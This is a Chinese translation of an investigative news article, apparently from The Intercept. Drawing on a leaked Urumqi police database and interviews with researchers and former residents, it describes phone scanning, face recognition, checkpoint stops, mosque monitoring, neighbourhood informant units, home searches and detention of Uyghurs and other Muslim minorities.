    2018年一份来自于乌鲁木齐市中心东北某街区的报告提到,当局在3月份的一周内就对1860人进行了反恐利剑搜查。在同一份报告中,详细描述了4月份的一个星期,该地区有2057人被检查手机。根据政府的统计,该地区约有3万人居住在七道湾街区。

    这种被警察频繁拦截的现象在乌鲁木齐的其他地方也能看到。相关文件提到了警察在一个晚上检查人们的手机三四次以上的情况,以及这种做法给群众增添烦恼,不利于警察拉近跟群众的距离。

    例如,2017年8月的一份警方报告称,"由于部分检查站搜查手机过于频繁,导致有的群众被检查3次以上,群众对这项工作有怨言"。2017年10月的一份 "社会舆情报告 "则称,"有群众反映现在检查站的检查力度过大。往往一个晚上会被检查3次。他们当时有急事,被检查浪费了很多时间。"。

    (译者注:documents discuss…不应翻译为文件讨论,而应翻译为文件提到。)

    文件中提到人们为了避免这种手机检查带来的麻烦而改用旧手机。

    丹麦一位专注于新疆和维吾尔族的人类学家Rune Steenberg在2016年年底作为研究人员在喀什呆了一段时间,他说,他在2014年改用简单的手机而不是智能手机,以及许多维吾尔族人也是这么做的。"这不止是他们在你手机上找到东西,"他说,"他们可以把东西放进你的手机,来向你栽赃。而且事后你也没办法证明那不是你放进手机的。所以,我跟你说,出门带一部智能手机是非常危险的。"

    (译者注:incriminating you 应译为向你栽赃,不应译为给你定罪)

    而且,Steenberg说,警察经常会吓唬人们放弃他们的智能手机。他们谎称手机有宗教内容,问这手机是不是他们的,知道他们不敢承认。"他们会说,'不,那不是我的手机,不,我没有把手机带到这里来,'"Steenberg说。按照他的说法,警察会将手机扣下,事后卖掉赚钱。

    2017年11月5日,在新疆喀什,居民经过安装在街道上的安全检查站和监控摄像头。Photo: Ng Han Guan/AP

    该数据库还有助于量化乌鲁木齐周边手机监控的部署范围。例如,在一年零11个月的时间里,中国当局收集了近1100万条短信。在一年零10个月的时间里,他们收集到了1180万条关于电话通话时间和通话当事人的记录。在一年零11个月的时间里,他们收集了700万条联系人和约25.5万条电话硬件记录,包括能够在蜂窝网络中识别手机的IMSI号码;手机型号和制造商;手机网卡的MAC地址;以及另一个手机网络标识符,即IMEI号码。

    数据库中记录的电话信息包括通话双方身份、收件人的姓名以及每次通话的开始和结束时间。数据库中的字段表明,在线约会信息、网络购物订单和电子邮件联系人也可能从手机中提取。

    "因为手机的原因,你在任何地方都感觉不到安全。"住在新疆喀什的语言学家、诗人阿不都韦力-阿尤普(Abduweli Ayup)说。"你必须24小时打开手机,如果警察给你打电话,你必须随时接听电话。" 他说,由于聊天软件也被监控,维吾尔族人即使在家里也永远无法拥有隐私。

    该数据库包含电话监控记录,有助于量化警方对新疆通讯的监控。Chart: Soohee Cho/The Intercept

    除了监视手机,政府还大力强迫人们去参加一个所谓卫生政策的生物信息采集活动。根据这个"全民体检"活动,居民必须扫描脸部,分析声纹,以及提供DNA。描述该计划的文件显示,这是治安维稳系统的一部分。

    人类学家、科罗拉多大学博尔德分校亚洲研究中心博士后研究员Darren Byler说,虽然"全民体检"计划早已为人所知,并被怀疑是一种形式的监控,但当局一直否认,并称这只是一项公共卫生政策。"文件已经说得非常清楚了,这就是治安维稳系统的一部分,"Byler说。"非常清楚,这就是他们意图控制(维族)人口的举措的一部分。"

    数据库中的报告显示,"全民体检"工作往往通过警方的"便民站"进行,这导致了一些市民对卫生条件的投诉。(便民站据称能拉近群众和警方的距离,设有公共Wi-Fi和手机充电等设施,但同时也是监控的聚集地)。报告还提到了那些拒绝提交生物识别和身份信息的公民是如何被通报给警方、如何面临罚款、以及有时还会被迫就行为作正式道歉(译者注:写保证书)。关于该计划的部分文件集中在“移民”也就是"使用少数民族语言的人"身上。其中一份文件指出,对在校学生进行体检的结果被用于维持治安:

    (七道湾社区)(2018年3月9日)

    (2)隶属于新疆医科大学第二医院的厚博学院,新学期即将开学。不清楚归国学生名单。
    
    方法:本学期开学后,我们将立即利用IJOP平台对返校学生进行"体检"工作。如发现可疑标签,我们将立即向国保组汇报。
    

    数据库中的文件还显示,在IJOP系统的指导下,随着面部识别技术越来越广泛的应用,对人员在公共场所的流动的监控力度不断增加。警方针对"反恐利剑"使用情况的报告也详细介绍了人脸识别的使用情况,显示七道湾辖区40个便民警务站使用人脸识别技术检查了900多人。

    (2018年4月17日)

    四)便民警务站运行情况纪要
    
    七道湾辖区共有40个便民警务站。.本周我们用反恐利剑搜查了2057人,对935人进行了人脸识别。没有发现嫌疑人。我们利用情报报告系统发送了237份情报报告。
    

    很明显,Byler在审查了这些数字后表示,"人脸识别已经成为监控系统中越来越重要的一个方面"。

    针对个人数据监控,最令人感兴趣的那些证据来自数据库中用来生成报告的软件程序代码,这些程序代码中引用的很多资料并不在本社取得的数据库中,所以我们无法确认这些被引用的资料中,究竟有多少是当局真正收集了的,也无法确认这些资料的使用方式。

    即便这样,这些所谓的“策略”或者叫“证据收集报告”,还是对这个数据库(无论是这个数据库本身还是作为一个更大的数据集的一部分)可能收集或包含哪些信息,提供了一些线索。报告生成代码中含有对Facebook、QQ、陌陌、微博、淘宝的阿里旺旺等在线服务的数据以及实际的电话录音、照片、GPS位置的引用,和一份"高危敏感词"清单。

    数据库中的文件也证实了警方对居民微信使用情况的掌控。关于微信监控的讨论出现在社区辅警会议记录和警方调查记录中。

    一份来自国家网络安全局的文件揭示了警察利用微信的能力。文件记载了一次警方搜捕演习,在这次演习中,一名警察被标记为嫌疑人,他在开车在城里兜风,其他警察则利用他的微信聊天记录和位置数据追踪他的车辆。根据记载,当局读取了这名假扮嫌疑人的微信记录,其中一条"微信分析"提到:"嫌疑人说他在巡逻区域(patrol area)内吃午饭。"

    监控在乌鲁木齐

    *警方使用一种被称为"反恐利剑"的工具下载乌鲁木齐市民的手机内容,有时一天要下载三四次。

    • 到中国境外旅行的维吾尔人及其亲友都受到监控,以扼杀他们对更大自由或自治的渴望。

    • 当局会监视谁参加每周一次的"升旗"仪式,以此作为对中国忠诚度的试金石。

    • 与新疆以外地区的联系,或与这些地区有联系的人的联系,都受到广泛的监控,并成为被怀疑的理由。

    • 信奉伊斯兰教被当做一个危险的信号并会引来进一步的调查。

    这些监控手段的很大一部分目的,是遏制任何可能导致【新疆维吾尔族和其他少数民族对政治上的更大自由或自治的渴望】的影响。

    比如说,这些材料印证了有关维吾尔人在境外被监控的报道,而且被监控的不仅仅是出国旅游然后回国的人,还有他们的亲友。

    乌鲁木齐市水磨沟区警方调查了一名年轻女子,原因是她的高中同学去了斯坦福大学读书,而她俩有时通过微信交流。"根据调查,我们没有发现她在我们地区居住和工作时有任何违反法律法规的行为。"2018年来自苇湖梁社区的报告这样写道。"她在小区内居住期间,积极参加社区工作,积极参加社区的其他活动,积极参加社区的升旗仪式。我们没有发现任何异常,她的嫌疑已经排除。" Byler称这一事件"是境内人员被(当局)用于监控境外人员,以及这种(跨国)关系是如何产生“微线索”并导致当事人被怀疑,的一次有力的印证。"

    另一个关于“外部势力”如何导致当事人被怀疑的例子,同样是水磨沟安平社区的一份文件提到,凡是到外地探亲的职工,其电话和电脑都要检查是否有未经授权的内容。

    清理暴力恐怖音视频一直是维稳工作中非常重要的一部分。我们社区非常重视这项工作。由于春节假期即将结束,回来上班的人将越来越多,因此我们社区决定对即将回来的上班族进行一次大规模的电脑、手机检查。我们对每家每户、每个人的手机和电脑的存储信息进行检查。到目前为止,我们没有发现辖区居民中有暴力恐怖的音视频。后期我们将继续开展此项工作,并将结果记录在案。
    

    中国当局害怕外界对新疆公民的影响,这与一项名为"防回流"的政策有关。意思是防止极端主义或其他恐怖主义思想从国外"回流"。

    这一举措的一个可能的例子是2018年对上年2月份来新疆大学民俗研究中心担任翻译的中国学者冯斯瑜的监禁。冯是汉族人,原籍杭州,离新疆很远。但根据数据库中2017年10月的一份警方情报说明,她曾在国外留学--包括在阿默斯特学院(Amherst College)、伦敦SOAS大学和印第安纳大学(Indiana University),并在乌鲁木齐受到警方关注。报告记载,冯某的一加智能手机上有"国外加密软件(foreign obscure software)"。该记录还称,该软件是智能手机自带,冯某并未使用。

    据信,Feng在2018年2月被判处两年有期徒刑。她被监禁的情况在新疆受害者数据库shahit.biz上有记录(译者注:见这里,这是一个记录当地监禁案例的网站。

    人类学家Steenberg说,他认为冯之所以受到审查,是因为她往返于美国和乌鲁木齐之间,维吾尔语说得很好,也因为她在民间研究中心与其创始人Rahile Dawut共同从事的工作。Dawut是一位著名学者,他收集了新疆南部的民族学资料,包括民间故事和口头文学,以及Sufi伊斯兰教(Sufi Islamic)习俗的资料。Dawut于2017年12月失踪,据信他正被当局关押。

    "防回流"的动机还体现在将离开中国的人认定为安全威胁。一份来自历史悠久的、位于乌鲁木齐中心的维吾尔族聚居地赛马场(Saimachang)的报告显示,那些已经出国并申请政治庇护的前居民在报告中被称为恐怖分子,印证了之前关于维吾尔人在中国境外被监控的报道。

    "这是非常明确的证据,这种对恐怖主义或极端主义的指控,根本不符合国际上对恐怖主义或极端主义的定义,"Byler说。"根据大多数国家的定义,申请政治庇护并不是恐怖主义的标志,但在这种情况下,它就被说成是。" 这同时也展示了中国当局拥有的关于海外维吾尔人的信息的规模。

    2021年1月21日,维吾尔族语言学家、活动家阿不都韦力-阿尤普在挪威卑尔根的家中。Photo: Melanie Burford for The Intercept

    阿尤普对这种监控有丰富经验。在喀什期间,阿尤普开办了一所维吾尔语幼儿园,并推广维吾尔语教育。他在被拘留15个月后逃离中国,他说在这期间他受到了审讯和酷刑。阿尤普说,离开后,他一度加入了一个中国大使馆的微信群。"当我去中国大使馆的时候,他们让我加入他们的微信群,当我加入的时候,一个在乌鲁木齐的中国间谍找到了我,他跟我聊天,然后还威胁我。"他说。

    就连拥有一本护照也会引起怀疑。数据库中的文件显示,有护照的维吾尔族人比没有护照的人被当局检查得更频繁。

    事实上,任何对新疆以外的了解都可能导致怀疑。例如,苇湖梁警方在一份周报中提到,在"需要特别关注的人"中,有4人曾到北京"反映当地问题"。"其余的人从来没有离开过老家,所以他们被认为是比较安全的。"Byler说。

    即使是通往外国的电话呼叫或短信聊天,也会招致新疆当局的审查。在乌鲁木齐市中心,历史悠久、维吾尔族占多数的天山,当局报告说,在给一个"重点国家"打了一个不寻常的电话后,一名职业司机被送去接受再教育。Zenz认为,这个"重点国家"是当局重点监控的26个以穆斯林为主的"重点国家"中的一个。根据人权观察组织的一份报告,新疆当局会对与这些国家有联系的人进行审讯、拘留甚至监禁。这些国家包括阿富汗、阿尔及利亚、阿塞拜疆、埃及、印度尼西亚、伊朗、伊拉克、哈萨克斯坦、肯尼亚、吉尔吉斯斯坦、利比亚、马来西亚、尼日利亚、巴基斯坦、俄罗斯、沙特阿拉伯、索马里、南苏丹、叙利亚、塔吉克斯坦、泰国、土耳其、土库曼斯坦、阿拉伯联合酋长国、乌兹别克斯坦和也门。

    苏州路社区维稳周评报告(2月12日-2月14日)

    2.社区工作人员在入户走访时了解到,家住XX的XX,民族身份证号码XX,女,维吾尔族,没有工作,留在家中照顾年幼的孩子。......社区民警在警务网上搜索发现,该人于2017年9月21日在XX被抓获。抓捕原因。手机里有不知名(obscure)的聊天软件。…
    
    社工在做家访时了解到,XX,家住XX,维吾尔族,民族身份证号XXX.其母亲XX,女,维吾尔族,民族身份证号XX,已于2017年9月20日在天山区被拘留。逮捕原因:遮挡面部。…
    
    社区工作人员在入户走访中了解到,家住XX的XX,男,维吾尔族...司机...夜间有奇怪的通话行为,通话来自重点监控国家。曾在老家被拘留,现被教育转化(疏勒县)。.母亲。姓名XX,女,维吾尔族。.目前社区根据在押人员家属情况对其丈夫和孩子进行监控。
    

    该数据库还显示,近年来,越来越多的人工智能被用于配合人力进行监控工作。天山、水磨沟等乌鲁木齐地区当局的文件显示,IJOP通过发送推送通知来指挥当地警方的调查。根据一份文件,2018年,仅一个辖区就收到40份这样的通知。

    博士论文题目为“中国城市中的维吾尔科技政治”的Byler表示,虽然近年来的新闻报道将IJOP等中国警察自动化系统描述为初级阶段,严重依赖人力,但数据库中的证据表明机器学习技术的使用正在增加。

    在乌鲁木齐,警方在拦截过程中或在检查站使用的一个警方智能手机应用程序显示了面部识别结果,以及警方记录中的最高匹配信息。左边显示的是五种可能的匹配结果,最高匹配的正确率为95.58%。 Screenshots: Obtained by The Intercept

    "贵社的数据显示,它开始在某些方面实现自动化,特别是围绕人脸识别,"Byler说。"一周检查站就[扫描]900次,说明他们的人工智能已经非常普及了,"他补充道。他指的是七道湾分局一周内进行了935次人脸识别。

    文件显示,警方还向IJOP输入了大量的检查站数据,包括反恐利剑从手机下载的内容。2018年和2019年的文件显示,IJOP的推送通知越来越多。"显然这个系统开始以新的方式提醒并指导警务工作,也就是说这个人工智能开始觉醒了(starting to come online)。"Byler说。

    文件还证实了当局为评估被怀疑对象的心理状态做出的努力,尤其是对忠诚度甚至狂热度的敏锐关注。这一点在所谓的升旗仪式上表现得淋漓尽致。升旗仪式是参与者宣誓他们对中国和执政当局的忠诚的一种社区活动。文件显示,这些活动受到警方及其代理人的广泛监控。当局不仅监视曾经被关押的人,也监视他们的亲属,确保他们参与活动,并评价他们对参与活动的热情程度。

    2018年11月6日,在新疆乌鲁木齐,一名安检人员看着一名女子通过装有金属探测器和面部识别技术的检查站进入主要集市。Photo: Bloomberg via Getty Images

    根据其中一份文件,当局将出席这种每周一次的仪式,作为监视社区观察名单上的三个人(大概率是维吾尔族人)的方式。参与者被要求进行包含 "发表你的意见,举起你的剑"(或 "亮出你的声音,亮出你的剑")等句子的效忠宣誓。Byler说,如果他们不是全心全意参与的、不够爱国,他的雇主和其他人就会向警方举报。在仪式上接受审查的还有所谓的"剩余劳动力",也就是那些参加【将社区建设工作与再教育合为一体】的强制劳动的人。这种“剩余劳动力项目”在过去四年里急剧增加。

    文件显示,在升旗仪式上进行这种监督的警员和居民,就【谁应该被送到再教育营去】提出了他们的建议。

    尽管中国坚称其在新疆的警务工作是为了阻止恐怖主义和极端主义,而并非迫害任何宗教信仰,但该数据库证实并详细说明了监控是如何针对许多常见的伊斯兰信仰的表达方式,很多时候甚至仅仅是对这门宗教的好奇心也会导致当事人遭到调查。政府认为,留胡子、有祈祷毯、拥有维吾尔语书籍,甚至戒烟戒酒,都是宗教极端主义的潜在迹象。

    对该地区伊斯兰教活动的监控包括清真寺的监控。根据数据库中的警方报告,当局监视清真寺的出席情况,统计哪些是移民,哪些是居民,并监测祈祷是否有秩序地进行。

    Ayup说,清真寺内也有摄像头,每个人的祈祷方式都会被监视。

    他说:"如果人们使用有区别的祈祷方式...摄像头就会拍下照片。"他还补充,他的一位朋友因此被捕。Ayup说,有些维吾尔人的祈祷方式非常古老,有些人则使用新的风格。"在中国政府看来,这种新的就是威胁,是极端主义。"他说。

    根据水磨沟区六道湾社区的一份文件显示,就连社区清真寺的天然气使用情况也是被监控的。

    2010年7月2日,在中国西部新疆地区首府乌鲁木齐的一条街道上的监控摄像头。Photo: Peter Parks/AFP via Getty Images

    CITIZENS INTEGRATED INTO SYSTEM OF “HYPERPOLICING”

    被整合进“超级执法”的居民

    新疆无孔不入的监控,是当地充满压迫的环境中被研究得最透彻的一个部分。相比之下,尤其是对国外的人权团体而言,更难研究和理解的,是这些监控如何以及在多大程度上推动执法。事实证明,新疆的执法强度和监控的泛滥程度一样,无处不在、无孔不入。

    本社获得的数据库揭示了一个充满侵犯性的警察国家,它时刻关注人们的想法和追求,进入人们的家庭,干涉人们的日常活动,甚至在完全合法的活动中寻找犯罪的痕迹。

    一位专家在研究了数据库的部分内容后,把这种指挥调查以及其他警务工作的手段称为“超级执法”——对所有异常行为进行打击。所使用的战术无所不包:居民大队(civilian brigades, 应指“由居民组成的社区监控队伍”)、家访以及遍地的检查站。这项工作不仅涉及面广,针对性也是根据每个人潜在的危险性来确定的。各种少数群体,不管是少数语言、宗教还是民族,都被不成比例地针对。

    对所谓少数民族语言群体(也就是讲除了汉语之外的语言的穆斯林)的歧视,是新疆治安维稳的重点。

    乌鲁木齐的“超级执法”:

    • 穆斯林少数群体的大量活动和行为都被视为有罪,即便这些活动和行为在发生的时候是合法的。
    • 对清真寺进行严密的治安管理,包括严格限制谁可以进入清真寺,观察教徒如何祈祷……目标是降低出席率。
    • 其他“超级执法”的例子:监控居民网上的言行;要求餐馆里的刀子必须用铁链锁住;定期家访检查祈祷垫和书籍等宗教物品。
    • 对社区线人就应该向警方提供什么样的线索进行详细的指导。

    许多被拘留者和曾被拘留者被称为 "三类人"。这个标签使用得非常广泛、随意,用来指代所谓的“严重程度三级”的极端分子和恐怖分子,这个三级是根据政府对他们的心态和造成伤害的可能性的评估。被拘留者和前被拘留者的亲属也被贴上标签、分级、跟踪监控。另一个系统则将人分为值得信赖、正常或不可信赖三类。

    警方的这种分类和排名,隐含着对少数民族群体的针对,但有时这种针对也会转到明面上。例如,社区稳定会议中的一些记录显示,这些会议特别针对“少数民族语言人士”,他们比讲汉语的回族穆斯林受到更强烈的监控。这些会议还针对了被拘留者(主要为维吾尔族人)的家属。

    此外,维吾尔族人在践行其伊斯兰教信仰的过程中也遭到了警方干预。文件显示,警方有时会对出席某座清真寺的所有人进行安全检查。

    没错,政府严格限制谁能进入清真寺。一份警方文件详细描述了一起事件,三名学生试图去清真寺参加一位朋友的父亲的葬礼。正如Byler所描述的那样,这三名学生“只是在门外徘徊,试图找到溜进去的方法,因为正常来说他们必须扫描身份证才能进去,但他们担心(门口的检查站)会通知警察,他们不知道该怎么办”。警察对这些学生进行了审讯,将他们拘留了几个小时,并将他们列入了学校的一份观察名单,“尽管他们已经解释了他们的一切想法,”Byler说。

    更近期的报告显示,当局设定了一个降低清真寺出勤率的目标,并且达到了这个目标。许多警方文件都提到清真寺的出席率降低了,有些文件明确地将此描述为成功的迹象。一份报告显示,在一个清真寺,四个月内的总访问量比前一年同期减少了8万人次,减少了96%以上。根据报告,这部分是因为一位阿訇的离去和清真寺的暂时关闭,但报告指出,两年来 "宗教信徒急剧减少"。报告还说,减少的部分原因是访客离开本市、被送进再教育营或者不敢践行伊斯兰教信仰(译者注:即不敢去清真寺)。

    
    (泄密文档内容)2018年11月12日 西河坝
    
    辖区内共有167名教徒。……过去两年教徒数量急剧减少。……余下教徒大体上都是长期居住的高龄老人。
    
    信徒人数及构成变化的原因:……
    
    辖区严格遵照当地官员下达的反宗教极端主义工作指示。… 
    
    该清真寺实行严格的实名制政策,依法开展宗教活动。在公共部门工作的人和一些年轻人不再进入该场所。…
    
    自2017年打击整治行动开展以来,辖区内的问题人员已被拘留或再教育。总人口有所减少。(文档内容完)
    
    

    Ayup说,在清真寺里,被中国政府认为是极端主义迹象的活动,可以包括祈祷时不戴维吾尔族方帽、在清真寺内搽香水,甚至在祈祷时表现放松。他说,任何在祈祷后不赞美中共的人也会被认为是可疑的。

    一个系统把人分为值得信任、正常、不值得信任。

    对于警方的纪要,Byler说,"有趣的是,他们把人民描述为敌人,说明他们认为自己的工作是在反恐,然而他们实际上只是在检测一个人到底信不信伊斯兰教。"

    来自苇湖梁一个派出所的纪要,描述了一场“针对流动人口聚集地……的大规模排查”,针对以维吾尔族为主的来自新疆南部地区的人。纪要写到,一周内,警方已登记605名来自南疆的人,调查其中383人及其同住人员。在当次排查中,当局共检查了367部电话和9台电脑。

    新疆当局对伊斯兰教的治安管理工作,尤其热衷于追捕 "野阿訇 "或 "非法传教”。这些词汇指的是那些工作不受中国政府认可的伊斯兰传教士;一些维权组织曾表示,这条法律界限是中国当局为了政治需要随手划定的。这些阿訇会因为在网上或者清真寺中布道而被起诉。

    苇湖梁派出所的纪要列出了60名涉及所谓“非法传教”人员的名单,其中50人被拘留。同一份文件称,微信群 “教学一群(古兰经ABC)”中存在”非法传教”,抓获一名41岁的回族妇女,另有一名62岁的回族男子被行政拘留。

    更近期的文件,从2017年到2019年,反映出警方越来越难继续找到可以执法的违法行为,也越来越难以把人关进拘留所或再教育营。因为在2017年,第一波拘留潮席卷新疆,导致乌鲁木齐人口中的一大部分被驱离。新疆党委书记陈全国告诉官员,"把该关的人都关起来",这延续了中国国家主席习近平在2014年火车站砍杀袭击和农贸市场炸弹袭击之后对新疆问题采取的强硬手段。

    这一时期(在第一波镇压之后)的警方文件,表现出对一切可疑行为追究到底的决心。

    “这种微观执法,通过人力以及技术手段,作用在你和你的生活上。”

    “这个系统的配置方式促成了超级执法”, Byler说,“在这个系统中,任何奇怪、异常的行为都会被举报,然后如果你是少数,是“少民”,也就是他们称呼维吾尔和哈萨克的方式,那你就非常容易受到这个东西的影响,这种微观执法,通过人力以及技术手段,作用在你和你的生活上。”

    有的情况下,人们在法律还没有制定之前,就因为违反这些法律而受到迫害。

    一份警方文件描述了一批回族妇女被拘留的的原因:有证据表明她们在一个在线群里学习了《古兰经》——这种做法在当时是合法的,直到她们被拘留之前才被定为非法。然而在被拘留之前,她们已经至少有一年时间没有参加该小组的活动。(译者注:追究立法之前的违法行为,严重违背“法不溯及既往”原则)

    新疆法律的不确定性,以及什么时候会惹上警察的不确定性,与Ayup的经历相呼应。他解释说:”只有在人们被逮捕后,他们才会意识到,哦,那个(活动)有危险'"。

    Wang说,随着时间的推移,超级执法变得更加无孔不入。

    “这是对所有一切的重创,”wang说,从对伊斯兰习俗的压制蔓延到到药物滥用和精神疾病,"他们只在乎确保他们对那个地区的控制,广泛的、全面的控制。"

    2020年6月25日,在乌鲁木齐,人们走在新疆国际大巴扎的道路上. David Liu/Getty Images

    新疆治安执法变得越来越激进和无处不在的一个例证是,一份警方报告提到了一家饺子店的一把刀没有按照规定拴在稳固的柱子上。报告说,要求在一天内纠正这种违规行为。文件显示,新疆的法律不仅要求用铁链锁住刀具,而且刀具也要有二维码识别其主人。“这个例子可以说明,所有一切都管控得如此严密,连做饭用的刀也要视为武器。”Byler说。

    为了维持进行“超级执法”所不可缺少的高强度警戒,新疆当局征召(enlisted)普通市民互相举报—这种做法在中国其他地方也存在,但在该地区被更加广泛地付诸实践,尤其是针对维吾尔族和其他少数民族。

    为了帮助推动这一措施,市民互相举报是有奖励的。数据库中的文件包含了这一曾经被媒体报导过的事实的一些细节。举报者会因为线索得到报酬,但其他一些更加具体的行动也会获得奖励:绑定微信账号,通过验证,发布图片等都可以获得现金奖励。这一切过程都被记录并反映在数据库中。

    这种依靠底层民众的执法模式,“目的是招募并把普通人当做这些监控队伍的一员”。

    一份来自警方的公告文件显示,警方和辅助人员面临向当局提交大量情报的压力。它批评乌鲁木齐市新市辖区内的高新区市民提交的情报"只是为了让报告数量看起来很大而制造的填充物,毫无意义,还要占用大量的人力和时间来处理"。比如,某楼的 "居民举报经常有小孩在电梯里小便”。又比如,”有少数市民反映,在网上买螃蟹或月饼时被骗。损失的金额一般不大。”

    随后,公告又大篇幅地例举了10条 "禁止举报的各类情报",其中包括与 "反恐政策、少数民族政策 "无关的线索,或者与所谓的 "新疆管理纲要 "无关的线索,或者与 "惠民政策 "无关的线索。"

    基本上,正如Byler所形容的,当局 “等于是在说,’我们不要这些情报,我们要的是关于穆斯林的情报’”。

    这种依靠底层民众的执法模式,“目的是招募并把普通人当做这些监控队伍的一员”。”Wang说。”从这个意义上讲,它阐述了一种相当有趣的关于监控、社会以及工程技术的哲学,我觉得这是中国以外的很多人所不能理解的。”

    Ayup说,他以前在新疆生活的时候,10户人组成的小组每周都要在意见箱里举报某人一次,这种做法早在App之前就有了。“问题是,如果你没有可以写的东西,就得编,以免被送到营地和中心去,所以这是强迫的。问题就在这里,但我们不能怪那个举报的人,因为他也是被逼的。”

    公安App是新疆当局将普通公民拉入警示、监督、执法工作的一种方式。图 Soohee Cho/拦截社

    除了征召普通公民举报邻居外,新疆当局还把居民通过被称为"安全单位(safety unit,一译安全小组)”或”大队"的更正式的社区团体组织起来。根据数据库中的文件,这些单位按照10个为一组来划分。比如说,10个家庭或10个商户可能被组织成一个大队,每个小组中有一名志愿者像120接线员一样响应电话呼叫,小组还要进行所谓的“反恐”演习。

    根据数据库中的文件,社区“安全单位”中的每个商户都必须安装一个 "一键报警按钮"。一旦触发,"安全单元 "内的辅警和其他企业必须在两分钟内出现。 图片来自拦截社

    安全大队可以追溯到中国历史上的一个传统,即所谓的保甲制度,每10户人家组成一个保(或后来的甲,然后每10甲组成一个保)。这种分形结构形成了一种社会安全体系,这种体系与治安和人口军事化高度相关。

    现代类似的制度被称作 "网格化管理"。中国政府从几年前开始在全国范围内推行网格化管理;即便如此,新疆的安全单位密度仍远高于全国其他地区,而且这边的安全单位用途与其他地方不同。

    Byler说,新疆安全单位制度在之前的政府文件中没有出现过,但如果你身在当地就会觉得很明显,可以看到各种安全演练、人们在街上列队前进、商户老板佩戴红袖章以明确他们效忠的对象。

    "这是全体居民的军事化,"Byler说。"到目前为止,我们还无法对这种做法的目的作一个完整的描述。”

    超级执法还通过当局的定期探访来到人们的家中;那些被认为有可能受到极端主义、恐怖主义或分裂主义影响的人会经常受到探访,这通常指的就是维吾尔族人、持不同政见者、去过再教育营的人,以及与这些人有亲属关系的人。

    社区稳定会议的会议记录,详细介绍了在这些家访中被记录下来的信息类型。包括职业、工作地点、以前的工作、亲属(以及亲属的身份证号码)、出行情况、子女所在地、子女就读的学校,以及社区仍在监控的其他内容。

    有些居民(在记录中)被说成是“受到社区的监控或控制”;意思就是社区会指派一个邻里守望单位(neighbourhood watch unit, ≈安全单位)来监控他们。这可能包括由住在附近的一名或多名党员干部,对他们进行多达每天一次,或每周一到两次的探访。

    有些被居留者的家属每天都会被当地警察探访。即使是那些被认为值得信赖的人也会被探望,"向他们送温暖,把他们拉进爱国阵营”,如Byler所形容的。“就像是在争取人心”。

    在一份警方文件的描述中,一位亲生儿子被当局关押的老妇人与探望她的警察结为好友。警方称,这名妇女对这名警官来就像母亲一样。她把他当做自己的儿子一样对待,并向他公开了自己亲生儿子的所有活动。文件指出,她是通过系统再教育的理想案例。

    有些家访是为了搜查宗教物品。文件显示,警方搜查宗教书籍、拆除祈祷垫,甚至如2018年7月警方文件中提到的那样,没收了一张朝觐的照片,即穆斯林到沙特阿拉伯麦加朝圣的照片。文件显示,这项工作始于2018年,与政府一项名为 "三清 "的举措有关,该举措旨在鼓励人们从家中清除被认为是极端主义的材料。"这应该说是我第一次看到他们在文件中明确提到,他们跑到别人家里去搜查,”Byler说。

    2018年10月的一份文件描述了这些家庭搜查是如何展开的:

    首先,出警人员要将屋内所有人员集中到客厅,逐一核实身份。其次,由负责该户的干部和巡防队员对屋内所有房间进行仔细检查,特别是地毯下、卫生间、厨房、床下。沙发角落等可疑区域,要采用 "翻箱倒柜 "的方式逐一检查,并将发现可疑物品的房号和物品主人的照片作为证据。

    当局还监控被拘留者与家属的电话通话。一份文件详细记录了这样一个持续了4分20秒的电话,描述了谈话内容,以及家属对政府允许通话的感激之情。"这是一个拐点,记录人们接受再教育的效果如何,”Byler解释说。"如果他们因为亲属不能被释放而哭泣或表现得很生气,那就说明再教育的效果还没有达到。”

    在许多情况下,警方会要求亲属录制他们的通话并交给警方,或者在通话结束后立即访问他们,以调查他们通话后的感受。

    除了在家里搜查,新疆居民还经常被当局在外面搜查。数据库记录了两年内乌鲁木齐(人口350万)及周边地区200多万次检查站搜查的记录。其中包括 "情报国家安全重点人员"等近三十类人员的拦截名单。一个人在检查站被拦下之后,需要查验他的身份(证),这通常包括人脸识别。人脸识别通常是用固定的监控摄像头进行自动扫描,也可以使用智能手机摄像头进行手动扫描;手动扫描通常被用于那些需要做更严格的近距离面部扫描的人,比如没带身份证的人。如果一个人的脸在电脑上被打上黄色、橙色或红色的标记,说明系统认为他们是嫌疑人或罪犯,他们就会被询问并可能被逮捕。

    四个人根据当局对其危险程度的认知,被标上不同颜色的 "检查等级"。截图由本社取得

    在检查站经常被拦截的几类人包括曾违法犯罪者的亲属和被关押者的亲属。

    从这些拦截行动中获得的数据包括被拦截者的照片、被拦截的经纬度、采集点名称、车辆和车牌(如适用)、搜查时间、搜查级别、是否放人、搜查结果。被拦截的人在数据库中被分为被立即逮捕的人、被送回原住地的人、精神病患者、被关押者的亲属、违法犯罪者的亲属,以及被列为2009年7月乌鲁木齐骚乱参与者的人。在那次骚乱中,中国东南部一家玩具厂的维吾尔族-汉族暴力冲突引发了大规模动乱,过程中发生了针对以汉族为主的居民的攻击。

    2018年9月4日,新疆达坂城一家官方称为 "职业技能教育中心"的围墙上面安装着监控摄像头。这个中心位于该地区首府乌鲁木齐和旅游景点吐鲁番之间,是已知最大的中心之一。图片:托马斯-彼得/路透社

    A Detention System Built on Uncertainty and Inconsistencies

    建立在不确定和不一致基础上的拘留制度

    在監控與警務巡查之外,我們也可以從這個數據庫中看到(中共)如何使用不同的拘押方式來控制整個人口,而少數族群和被認為是異議者的首當其衝。同時,這個數據庫也呈現給我們一個正在不斷改變自己的說辭和政策,即使加上了「訓練」或者「再教育」的藉口,刑期長短仍然不可捉摸到一個地步,被囚人士的親屬會因為他們被判以固定刑期而鬆了一口氣。

    而描述新疆複雜的準監獄系統的文件顯示,這些(拘禁設施)可以粗略分為四大類:用來暫時拘留用的(羈押所);「再教育」用的(營地);一種稱為「職業訓練」的比較溫和的再教育以及長期拘留的監獄。

    拘留在乌鲁木齐

    • 新疆复杂的监禁制度,包括临时拘留、再教育营、"职业培训 "和长期监禁;

    • 一些证据表明,与再教育等不太严厉的监禁形式相比,与以前已知的拘留率相比,实在是高得"惊人"。

    而據稱情況最惡劣和最擠擁的羈押所同時正是訊問用的設施;人被拘留在那裡等待完成調查。至於再教育設施,官方稱之為「教育改造」營。根據Zenz運用政府相關文件的調查報導,他們(在營中)使用「高壓洗腦」的手段。而這些訓練中心號稱本意是提供職業技能等一系列訓練,但它們的帶刺鐵絲網、高牆、望樓和內部攝像系統卻清楚顯示它們如同監獄。

    一名公民如同在流水線上的貨物一樣歷經這幾種拘禁是司空見慣的事。一份來自烏魯木齊天山區的警務文件就描述了一位涉及「國安事件」的母親就先後被拘留在再教育營和職業教導所。

